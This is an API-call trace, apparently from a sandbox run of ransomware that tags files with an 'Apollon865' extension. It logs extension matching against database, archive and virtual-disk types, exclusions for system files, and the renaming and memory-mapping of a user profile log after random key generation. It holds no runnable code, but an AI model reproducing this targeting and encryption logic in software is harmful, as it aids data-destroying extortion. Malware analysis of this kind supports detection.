	[0046.966] lstrlenW (lpString="lgc") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="lgc") returned 1
	[0046.966] lstrlenW (lpString="lwx") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="lwx") returned 1
	[0046.966] lstrlenW (lpString="maf") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="maf") returned 1
	[0046.966] lstrlenW (lpString="maq") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="maq") returned 1
	[0046.966] lstrlenW (lpString="mar") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="mar") returned 1
	[0046.966] lstrlenW (lpString="marshal") returned 7
	[0046.966] lstrcmpiW (lpString1="AT.LOG1", lpString2="marshal") returned -1
	[0046.966] lstrlenW (lpString="mas") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="mas") returned 1
	[0046.966] lstrlenW (lpString="mav") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="mav") returned 1
	[0046.966] lstrlenW (lpString="maw") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="maw") returned 1
	[0046.966] lstrlenW (lpString="mdbhtml") returned 7
	[0046.967] lstrcmpiW (lpString1="AT.LOG1", lpString2="mdbhtml") returned -1
	[0046.967] lstrlenW (lpString="mdn") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mdn") returned 1
	[0046.967] lstrlenW (lpString="mdt") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mdt") returned 1
	[0046.967] lstrlenW (lpString="mfd") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mfd") returned 1
	[0046.967] lstrlenW (lpString="mpd") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mpd") returned 1
	[0046.967] lstrlenW (lpString="mrg") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mrg") returned 1
	[0046.967] lstrlenW (lpString="mud") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mud") returned 1
	[0046.967] lstrlenW (lpString="mwb") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="mwb") returned 1
	[0046.967] lstrlenW (lpString="myd") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="myd") returned 1
	[0046.967] lstrlenW (lpString="ndf") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="ndf") returned 1
	[0046.967] lstrlenW (lpString="nnt") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="nnt") returned 1
	[0046.967] lstrlenW (lpString="nrmlib") returned 6
	[0046.967] lstrcmpiW (lpString1="T.LOG1", lpString2="nrmlib") returned 1
	[0046.967] lstrlenW (lpString="ns2") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="ns2") returned 1
	[0046.967] lstrlenW (lpString="ns3") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="ns3") returned 1
	[0046.967] lstrlenW (lpString="ns4") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="ns4") returned 1
	[0046.967] lstrlenW (lpString="nsf") returned 3
	[0046.967] lstrcmpiW (lpString1="OG1", lpString2="nsf") returned 1
	[0046.967] lstrlenW (lpString="nv") returned 2
	[0046.967] lstrcmpiW (lpString1="G1", lpString2="nv") returned -1
	[0046.968] lstrlenW (lpString="nv2") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="nv2") returned 1
	[0046.968] lstrlenW (lpString="nwdb") returned 4
	[0046.968] lstrcmpiW (lpString1="LOG1", lpString2="nwdb") returned -1
	[0046.968] lstrlenW (lpString="nyf") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="nyf") returned 1
	[0046.968] lstrlenW (lpString="odb") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1
	[0046.968] lstrlenW (lpString="odb") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="odb") returned 1
	[0046.968] lstrlenW (lpString="oqy") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="oqy") returned -1
	[0046.968] lstrlenW (lpString="ora") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="ora") returned -1
	[0046.968] lstrlenW (lpString="orx") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="orx") returned -1
	[0046.968] lstrlenW (lpString="owc") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="owc") returned -1
	[0046.968] lstrlenW (lpString="p96") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="p96") returned -1
	[0046.968] lstrlenW (lpString="p97") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="p97") returned -1
	[0046.968] lstrlenW (lpString="pan") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="pan") returned -1
	[0046.968] lstrlenW (lpString="pdb") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="pdb") returned -1
	[0046.968] lstrlenW (lpString="pdm") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="pdm") returned -1
	[0046.968] lstrlenW (lpString="pnz") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="pnz") returned -1
	[0046.968] lstrlenW (lpString="qry") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="qry") returned -1
	[0046.968] lstrlenW (lpString="qvd") returned 3
	[0046.968] lstrcmpiW (lpString1="OG1", lpString2="qvd") returned -1
	[0046.969] lstrlenW (lpString="rbf") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="rbf") returned -1
	[0046.969] lstrlenW (lpString="rctd") returned 4
	[0046.969] lstrcmpiW (lpString1="LOG1", lpString2="rctd") returned -1
	[0046.969] lstrlenW (lpString="rod") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="rod") returned -1
	[0046.969] lstrlenW (lpString="rodx") returned 4
	[0046.969] lstrcmpiW (lpString1="LOG1", lpString2="rodx") returned -1
	[0046.969] lstrlenW (lpString="rpd") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="rpd") returned -1
	[0046.969] lstrlenW (lpString="rsd") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="rsd") returned -1
	[0046.969] lstrlenW (lpString="sas7bdat") returned 8
	[0046.969] lstrcmpiW (lpString1="DAT.LOG1", lpString2="sas7bdat") returned -1
	[0046.969] lstrlenW (lpString="sbf") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="sbf") returned -1
	[0046.969] lstrlenW (lpString="scx") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="scx") returned -1
	[0046.969] lstrlenW (lpString="sdb") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="sdb") returned -1
	[0046.969] lstrlenW (lpString="sdc") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="sdc") returned -1
	[0046.969] lstrlenW (lpString="sdf") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="sdf") returned -1
	[0046.969] lstrlenW (lpString="sis") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="sis") returned -1
	[0046.969] lstrlenW (lpString="spq") returned 3
	[0046.969] lstrcmpiW (lpString1="OG1", lpString2="spq") returned -1
	[0046.969] lstrlenW (lpString="te") returned 2
	[0046.969] lstrcmpiW (lpString1="G1", lpString2="te") returned -1
	[0046.969] lstrlenW (lpString="teacher") returned 7
	[0046.969] lstrcmpiW (lpString1="AT.LOG1", lpString2="teacher") returned -1
	[0046.969] lstrlenW (lpString="tmd") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="tmd") returned -1
	[0046.970] lstrlenW (lpString="tps") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="tps") returned -1
	[0046.970] lstrlenW (lpString="trc") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1
	[0046.970] lstrlenW (lpString="trc") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="trc") returned -1
	[0046.970] lstrlenW (lpString="trm") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="trm") returned -1
	[0046.970] lstrlenW (lpString="udb") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="udb") returned -1
	[0046.970] lstrlenW (lpString="udl") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="udl") returned -1
	[0046.970] lstrlenW (lpString="usr") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="usr") returned -1
	[0046.970] lstrlenW (lpString="v12") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="v12") returned -1
	[0046.970] lstrlenW (lpString="vis") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="vis") returned -1
	[0046.970] lstrlenW (lpString="vpd") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="vpd") returned -1
	[0046.970] lstrlenW (lpString="vvv") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="vvv") returned -1
	[0046.970] lstrlenW (lpString="wdb") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="wdb") returned -1
	[0046.970] lstrlenW (lpString="wmdb") returned 4
	[0046.970] lstrcmpiW (lpString1="LOG1", lpString2="wmdb") returned -1
	[0046.970] lstrlenW (lpString="wrk") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="wrk") returned -1
	[0046.970] lstrlenW (lpString="xdb") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="xdb") returned -1
	[0046.970] lstrlenW (lpString="xld") returned 3
	[0046.970] lstrcmpiW (lpString1="OG1", lpString2="xld") returned -1
	[0046.971] lstrlenW (lpString="xmlff") returned 5
	[0046.971] lstrcmpiW (lpString1=".LOG1", lpString2="xmlff") returned -1
	[0046.971] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG1.Apollon865") returned 43
	[0046.971] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat.log1.apollon865"), dwFlags=0x1) returned 1
	[0046.971] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat.log1.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.971] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=189440) returned 1
	[0046.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.972] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.973] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.973] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.973] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2e700, lpName=0x0) returned 0x158
	[0046.974] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2e700) returned 0x120000
	[0046.985] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0046.985] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.985] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0046.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.986] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.986] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.988] CloseHandle (hObject=0x158) returned 1
	[0046.988] CloseHandle (hObject=0x15c) returned 1
	[0046.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.988] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.989] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="Apollon865.txt.exe") returned 1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="windows") returned -1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="bootmgr") returned 1
	[0046.989] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="temp") returned -1
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="pagefile.sys") returned -1
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="boot") returned 1
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="ids.txt") returned 1
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="ntuser.dat") returned 1
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="perflogs") returned -1
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2="MSBuild") returned 1
	[0046.990] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15
	[0046.990] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG1") returned 32
	[0046.990] lstrcpyW (in: lpString1=0x119e62a, lpString2="NTUSER.DAT.LOG2" | out: lpString1="NTUSER.DAT.LOG2") returned="NTUSER.DAT.LOG2"
	[0046.990] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15
	[0046.990] lstrlenW (lpString="Apollon865") returned 10
	[0046.990] lstrcmpiW (lpString1="R.DAT.LOG2", lpString2="Apollon865") returned 1
	[0046.990] lstrlenW (lpString=".dll") returned 4
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".dll") returned 1
	[0046.990] lstrlenW (lpString=".lnk") returned 4
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".lnk") returned 1
	[0046.990] lstrlenW (lpString=".ini") returned 4
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".ini") returned 1
	[0046.990] lstrlenW (lpString=".sys") returned 4
	[0046.990] lstrcmpiW (lpString1="NTUSER.DAT.LOG2", lpString2=".sys") returned 1
	[0046.990] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15
	[0046.990] lstrlenW (lpString="bak") returned 3
	[0046.990] lstrcmpiW (lpString1="OG2", lpString2="bak") returned 1
	[0046.990] lstrlenW (lpString="ba_") returned 3
	[0046.990] lstrcmpiW (lpString1="OG2", lpString2="ba_") returned 1
	[0046.990] lstrlenW (lpString="dbb") returned 3
	[0046.990] lstrcmpiW (lpString1="OG2", lpString2="dbb") returned 1
	[0046.990] lstrlenW (lpString="vmdk") returned 4
	[0046.990] lstrcmpiW (lpString1="LOG2", lpString2="vmdk") returned -1
	[0046.990] lstrlenW (lpString="rar") returned 3
	[0046.990] lstrcmpiW (lpString1="OG2", lpString2="rar") returned -1
	[0046.990] lstrlenW (lpString="zip") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="zip") returned -1
	[0046.991] lstrlenW (lpString="tgz") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="tgz") returned -1
	[0046.991] lstrlenW (lpString="vbox") returned 4
	[0046.991] lstrcmpiW (lpString1="LOG2", lpString2="vbox") returned -1
	[0046.991] lstrlenW (lpString="vdi") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="vdi") returned -1
	[0046.991] lstrlenW (lpString="vhd") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="vhd") returned -1
	[0046.991] lstrlenW (lpString="vhdx") returned 4
	[0046.991] lstrcmpiW (lpString1="LOG2", lpString2="vhdx") returned -1
	[0046.991] lstrlenW (lpString="avhd") returned 4
	[0046.991] lstrcmpiW (lpString1="LOG2", lpString2="avhd") returned 1
	[0046.991] lstrlenW (lpString="db") returned 2
	[0046.991] lstrcmpiW (lpString1="G2", lpString2="db") returned 1
	[0046.991] lstrlenW (lpString="db2") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="db2") returned 1
	[0046.991] lstrlenW (lpString="db3") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="db3") returned 1
	[0046.991] lstrlenW (lpString="dbf") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="dbf") returned 1
	[0046.991] lstrlenW (lpString="mdf") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="mdf") returned 1
	[0046.991] lstrlenW (lpString="mdb") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="mdb") returned 1
	[0046.991] lstrlenW (lpString="sql") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="sql") returned -1
	[0046.991] lstrlenW (lpString="sqlite") returned 6
	[0046.991] lstrcmpiW (lpString1="T.LOG2", lpString2="sqlite") returned 1
	[0046.991] lstrlenW (lpString="sqlite3") returned 7
	[0046.991] lstrcmpiW (lpString1="AT.LOG2", lpString2="sqlite3") returned -1
	[0046.991] lstrlenW (lpString="sqlitedb") returned 8
	[0046.991] lstrcmpiW (lpString1="DAT.LOG2", lpString2="sqlitedb") returned -1
	[0046.991] lstrlenW (lpString="xml") returned 3
	[0046.991] lstrcmpiW (lpString1="OG2", lpString2="xml") returned -1
	[0046.992] lstrlenW (lpString="$er") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="$er") returned 1
	[0046.992] lstrlenW (lpString="4dd") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="4dd") returned 1
	[0046.992] lstrlenW (lpString="4dl") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="4dl") returned 1
	[0046.992] lstrlenW (lpString="^^^") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="^^^") returned 1
	[0046.992] lstrlenW (lpString="abs") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="abs") returned 1
	[0046.992] lstrlenW (lpString="abx") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="abx") returned 1
	[0046.992] lstrlenW (lpString="accdb") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accdb") returned -1
	[0046.992] lstrlenW (lpString="accdc") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accdc") returned -1
	[0046.992] lstrlenW (lpString="accde") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accde") returned -1
	[0046.992] lstrlenW (lpString="accdr") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accdr") returned -1
	[0046.992] lstrlenW (lpString="accdt") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accdt") returned -1
	[0046.992] lstrlenW (lpString="accdw") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accdw") returned -1
	[0046.992] lstrlenW (lpString="accft") returned 5
	[0046.992] lstrcmpiW (lpString1=".LOG2", lpString2="accft") returned -1
	[0046.992] lstrlenW (lpString="adb") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1
	[0046.992] lstrlenW (lpString="adb") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="adb") returned 1
	[0046.992] lstrlenW (lpString="ade") returned 3
	[0046.992] lstrcmpiW (lpString1="OG2", lpString2="ade") returned 1
	[0046.992] lstrlenW (lpString="adf") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="adf") returned 1
	[0046.993] lstrlenW (lpString="adn") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="adn") returned 1
	[0046.993] lstrlenW (lpString="adp") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="adp") returned 1
	[0046.993] lstrlenW (lpString="alf") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="alf") returned 1
	[0046.993] lstrlenW (lpString="ask") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="ask") returned 1
	[0046.993] lstrlenW (lpString="btr") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="btr") returned 1
	[0046.993] lstrlenW (lpString="cat") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="cat") returned 1
	[0046.993] lstrlenW (lpString="cdb") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="cdb") returned 1
	[0046.993] lstrlenW (lpString="ckp") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="ckp") returned 1
	[0046.993] lstrlenW (lpString="cma") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="cma") returned 1
	[0046.993] lstrlenW (lpString="cpd") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="cpd") returned 1
	[0046.993] lstrlenW (lpString="dacpac") returned 6
	[0046.993] lstrcmpiW (lpString1="T.LOG2", lpString2="dacpac") returned 1
	[0046.993] lstrlenW (lpString="dad") returned 3
	[0046.993] lstrcmpiW (lpString1="OG2", lpString2="dad") returned 1
	[0046.993] lstrlenW (lpString="dadiagrams") returned 10
	[0046.993] lstrcmpiW (lpString1="R.DAT.LOG2", lpString2="dadiagrams") returned 1
	[0046.993] lstrlenW (lpString="daschema") returned 8
	[0046.993] lstrcmpiW (lpString1="DAT.LOG2", lpString2="daschema") returned 1
	[0046.993] lstrlenW (lpString="db-journal") returned 10
	[0046.993] lstrcmpiW (lpString1="R.DAT.LOG2", lpString2="db-journal") returned 1
	[0046.993] lstrlenW (lpString="db-shm") returned 6
	[0046.993] lstrcmpiW (lpString1="T.LOG2", lpString2="db-shm") returned 1
	[0046.993] lstrlenW (lpString="db-wal") returned 6
	[0046.994] lstrcmpiW (lpString1="T.LOG2", lpString2="db-wal") returned 1
	[0046.994] lstrlenW (lpString="dbc") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dbc") returned 1
	[0046.994] lstrlenW (lpString="dbs") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dbs") returned 1
	[0046.994] lstrlenW (lpString="dbt") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dbt") returned 1
	[0046.994] lstrlenW (lpString="dbv") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dbv") returned 1
	[0046.994] lstrlenW (lpString="dbx") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dbx") returned 1
	[0046.994] lstrlenW (lpString="dcb") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dcb") returned 1
	[0046.994] lstrlenW (lpString="dct") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dct") returned 1
	[0046.994] lstrlenW (lpString="dcx") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dcx") returned 1
	[0046.994] lstrlenW (lpString="ddl") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="ddl") returned 1
	[0046.994] lstrlenW (lpString="dlis") returned 4
	[0046.994] lstrcmpiW (lpString1="LOG2", lpString2="dlis") returned 1
	[0046.994] lstrlenW (lpString="dp1") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dp1") returned 1
	[0046.994] lstrlenW (lpString="dqy") returned 3
	[0046.994] lstrcmpiW (lpString1="OG2", lpString2="dqy") returned 1
	[0046.995] lstrlenW (lpString="dsk") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="dsk") returned 1
	[0046.995] lstrlenW (lpString="dsn") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="dsn") returned 1
	[0046.995] lstrlenW (lpString="dtsx") returned 4
	[0046.995] lstrcmpiW (lpString1="LOG2", lpString2="dtsx") returned 1
	[0046.995] lstrlenW (lpString="dxl") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="dxl") returned 1
	[0046.995] lstrlenW (lpString="eco") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="eco") returned 1
	[0046.995] lstrlenW (lpString="ecx") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="ecx") returned 1
	[0046.995] lstrlenW (lpString="edb") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="edb") returned 1
	[0046.995] lstrlenW (lpString="epim") returned 4
	[0046.995] lstrcmpiW (lpString1="LOG2", lpString2="epim") returned 1
	[0046.995] lstrlenW (lpString="fcd") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="fcd") returned 1
	[0046.995] lstrlenW (lpString="fdb") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="fdb") returned 1
	[0046.995] lstrlenW (lpString="fic") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="fic") returned 1
	[0046.995] lstrlenW (lpString="flexolibrary") returned 12
	[0046.995] lstrcmpiW (lpString1="SER.DAT.LOG2", lpString2="flexolibrary") returned 1
	[0046.995] lstrlenW (lpString="fm5") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="fm5") returned 1
	[0046.995] lstrlenW (lpString="fmp") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="fmp") returned 1
	[0046.995] lstrlenW (lpString="fmp12") returned 5
	[0046.995] lstrcmpiW (lpString1=".LOG2", lpString2="fmp12") returned -1
	[0046.995] lstrlenW (lpString="fmpsl") returned 5
	[0046.995] lstrcmpiW (lpString1=".LOG2", lpString2="fmpsl") returned -1
	[0046.995] lstrlenW (lpString="fol") returned 3
	[0046.995] lstrcmpiW (lpString1="OG2", lpString2="fol") returned 1
	[0046.995] lstrlenW (lpString="fp3") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="fp3") returned 1
	[0046.996] lstrlenW (lpString="fp4") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="fp4") returned 1
	[0046.996] lstrlenW (lpString="fp5") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="fp5") returned 1
	[0046.996] lstrlenW (lpString="fp7") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="fp7") returned 1
	[0046.996] lstrlenW (lpString="fpt") returned 3
	[0046.996] lstrcmpiW (lpString1="OG2", lpString2="fpt") returned 1
	[0046.996] lstrlenW (lpString="frm") returned 3
